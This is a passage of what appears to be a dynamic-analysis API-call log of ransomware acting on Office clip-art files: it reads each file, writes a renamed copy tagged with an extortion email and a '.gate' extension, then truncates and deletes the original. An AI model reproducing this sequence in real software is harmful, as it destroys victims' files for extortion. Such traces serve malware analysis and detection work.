[0321.492] SetEndOfFile (hFile=0x34c) returned 1 [0321.495] CloseHandle (hObject=0x34c) returned 1 [0321.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.495] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 1 [0321.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0321.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0321.496] lstrlenW (lpString=".doc") returned 4 [0321.496] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.496] lstrlenW (lpString=".docx") returned 5 [0321.496] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.496] lstrlenW (lpString=".pdf") returned 4 [0321.496] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.496] lstrlenW (lpString=".xls") returned 4 [0321.496] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.496] lstrlenW (lpString=".xlsx") returned 5 [0321.496] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.496] lstrlenW (lpString=".ppt") returned 4 [0321.496] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0321.496] lstrlenW (lpString=".zip") returned 4 [0321.496] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.496] lstrlenW (lpString=".rar") returned 4 [0321.496] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.496] lstrlenW (lpString=".bz2") returned 4 [0321.496] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.496] lstrlenW (lpString=".7z") returned 3 [0321.496] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0321.496] lstrlenW (lpString=".dbf") returned 4 [0321.496] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0321.496] lstrlenW (lpString=".1cd") returned 4 [0321.496] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0321.497] lstrlenW (lpString=".jpg") returned 4 [0321.497] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0321.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0321.497] lstrlenW (lpString=".doc") returned 4 [0321.497] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.497] lstrlenW (lpString=".docx") returned 5 [0321.497] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.497] lstrlenW (lpString=".pdf") returned 4 [0321.497] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.497] lstrlenW (lpString=".xls") returned 4 [0321.497] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.497] lstrlenW (lpString=".xlsx") returned 5 [0321.497] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.497] lstrlenW (lpString=".ppt") returned 4 [0321.497] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0321.497] lstrlenW (lpString=".zip") returned 4 [0321.497] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.497] lstrlenW (lpString=".rar") returned 4 [0321.497] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.497] lstrlenW (lpString=".bz2") returned 4 [0321.497] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.497] lstrlenW (lpString=".7z") returned 3 [0321.497] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0321.498] lstrlenW (lpString=".dbf") returned 4 [0321.498] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0321.498] lstrlenW (lpString=".1cd") returned 4 [0321.498] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0321.498] lstrlenW (lpString=".jpg") returned 4 [0321.498] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.498] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.498] lstrlenW (lpString="BD06102_.WMF") returned 12 [0321.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0321.498] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=16112) returned 1 [0321.498] CloseHandle (hObject=0x34c) returned 1 [0321.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x220 [0321.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0321.499] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.499] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0321.499] GetLastError () returned 0x0 [0321.499] ReadFile (in: hFile=0x34c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x3ef0, lpOverlapped=0x0) returned 1 [0321.501] WriteFile (in: hFile=0x384, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0x3f00, lpOverlapped=0x0) returned 1 [0321.502] ReadFile (in: hFile=0x34c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.502] WriteFile (in: hFile=0x384, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.502] SetEndOfFile (hFile=0x384) returned 1 [0321.502] CloseHandle (hObject=0x384) returned 1 [0321.502] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.502] SetEndOfFile (hFile=0x34c) returned 1 [0321.503] CloseHandle (hObject=0x34c) returned 1 [0321.503] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.504] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 1 [0321.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0321.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0321.504] lstrlenW (lpString=".doc") returned 4 [0321.504] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.504] lstrlenW (lpString=".docx") returned 5 [0321.504] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.504] lstrlenW (lpString=".pdf") returned 4 [0321.504] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.504] lstrlenW (lpString=".xls") returned 4 [0321.504] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.504] lstrlenW (lpString=".xlsx") returned 5 [0321.504] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.504] lstrlenW (lpString=".ppt") returned 4 [0321.504] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0321.504] lstrlenW (lpString=".zip") returned 4 [0321.505] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.505] lstrlenW (lpString=".rar") returned 4 [0321.505] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.505] lstrlenW (lpString=".bz2") returned 4 [0321.505] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.505] lstrlenW (lpString=".7z") returned 3 [0321.505] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0321.505] lstrlenW (lpString=".dbf") returned 4 [0321.505] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0321.505] lstrlenW (lpString=".1cd") returned 4 [0321.505] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0321.505] lstrlenW (lpString=".jpg") returned 4 [0321.505] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0321.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0321.505] lstrlenW (lpString=".doc") returned 4 [0321.505] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.505] lstrlenW (lpString=".docx") returned 5 [0321.505] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.505] lstrlenW (lpString=".pdf") returned 4 [0321.505] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.505] lstrlenW (lpString=".xls") returned 4 [0321.505] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.505] lstrlenW (lpString=".xlsx") returned 5 [0321.505] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.506] lstrlenW (lpString=".ppt") returned 4 [0321.506] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0321.506] lstrlenW (lpString=".zip") returned 4 [0321.506] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.506] lstrlenW (lpString=".rar") returned 4 [0321.506] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.506] lstrlenW (lpString=".bz2") returned 4 [0321.506] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.506] lstrlenW (lpString=".7z") returned 3 [0321.506] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0321.506] lstrlenW (lpString=".dbf") returned 4 [0321.506] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0321.506] lstrlenW (lpString=".1cd") returned 4 [0321.506] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0321.506] lstrlenW (lpString=".jpg") returned 4 [0321.506] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.506] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.506] lstrlenW (lpString="BD06200_.WMF") returned 12 [0321.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0321.507] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=16676) returned 1 [0321.507] CloseHandle (hObject=0x34c) returned 1 [0321.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x220 [0321.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0321.507] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.507] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0321.508] GetLastError () returned 0x0 [0321.508] ReadFile (in: hFile=0x34c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x4124, lpOverlapped=0x0) returned 1 [0321.861] WriteFile (in: hFile=0x384, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0x4130, lpOverlapped=0x0) returned 1 [0321.862] ReadFile (in: hFile=0x34c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.862] WriteFile (in: hFile=0x384, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.862] SetEndOfFile (hFile=0x384) returned 1 [0321.863] CloseHandle (hObject=0x384) returned 1 [0321.863] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.863] SetEndOfFile (hFile=0x34c) returned 1 [0321.863] CloseHandle (hObject=0x34c) returned 1 [0321.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.864] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 1 [0321.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0321.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0321.864] lstrlenW (lpString=".doc") returned 4 [0321.864] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.864] lstrlenW (lpString=".docx") returned 5 [0321.864] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.864] lstrlenW (lpString=".pdf") returned 4 [0321.864] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.864] lstrlenW (lpString=".xls") returned 4 [0321.864] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.864] lstrlenW (lpString=".xlsx") returned 5 [0321.864] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.864] lstrlenW (lpString=".ppt") returned 4 [0321.864] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0321.864] lstrlenW (lpString=".zip") returned 4 [0321.864] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.864] lstrlenW (lpString=".rar") returned 4 [0321.864] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.865] lstrlenW (lpString=".bz2") returned 4 [0321.865] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.865] lstrlenW (lpString=".7z") returned 3 [0321.865] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0321.865] lstrlenW (lpString=".dbf") returned 4 [0321.865] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0321.865] lstrlenW (lpString=".1cd") returned 4 [0321.865] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0321.865] lstrlenW (lpString=".jpg") returned 4 [0321.865] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0321.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0321.865] lstrlenW (lpString=".doc") returned 4 [0321.865] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.865] lstrlenW (lpString=".docx") returned 5 [0321.865] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.865] lstrlenW (lpString=".pdf") returned 4 [0321.865] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.865] lstrlenW (lpString=".xls") returned 4 [0321.865] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.865] lstrlenW (lpString=".xlsx") returned 5 [0321.865] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.865] lstrlenW (lpString=".ppt") returned 4 [0321.865] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0321.865] lstrlenW (lpString=".zip") returned 4 [0321.865] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.865] lstrlenW (lpString=".rar") returned 4 [0321.865] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.865] lstrlenW (lpString=".bz2") returned 4 [0321.865] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.866] lstrlenW (lpString=".7z") returned 3 [0321.866] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0321.866] lstrlenW (lpString=".dbf") returned 4 [0321.866] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0321.866] lstrlenW (lpString=".1cd") returned 4 [0321.866] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0321.866] lstrlenW (lpString=".jpg") returned 4 [0321.866] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.866] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0321.866] lstrlenW (lpString="BD19563_.GIF") returned 12 [0321.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0321.866] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=20454) returned 1 [0321.866] CloseHandle (hObject=0x34c) returned 1 [0321.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 0x220 [0321.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0321.867] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.867] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0321.867] GetLastError () returned 0x0 [0321.867] ReadFile (in: hFile=0x34c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x4fe6, lpOverlapped=0x0) returned 1 [0321.868] WriteFile (in: hFile=0x384, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0x4ff0, lpOverlapped=0x0) returned 1 [0321.869] ReadFile (in: hFile=0x34c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.869] WriteFile (in: hFile=0x384, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.869] SetEndOfFile (hFile=0x384) returned 1 [0321.870] CloseHandle (hObject=0x384) returned 1 [0321.870] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.870] SetEndOfFile (hFile=0x34c) returned 1 [0321.870] CloseHandle (hObject=0x34c) returned 1 [0321.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.871] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 1 [0321.871] lstrlenW 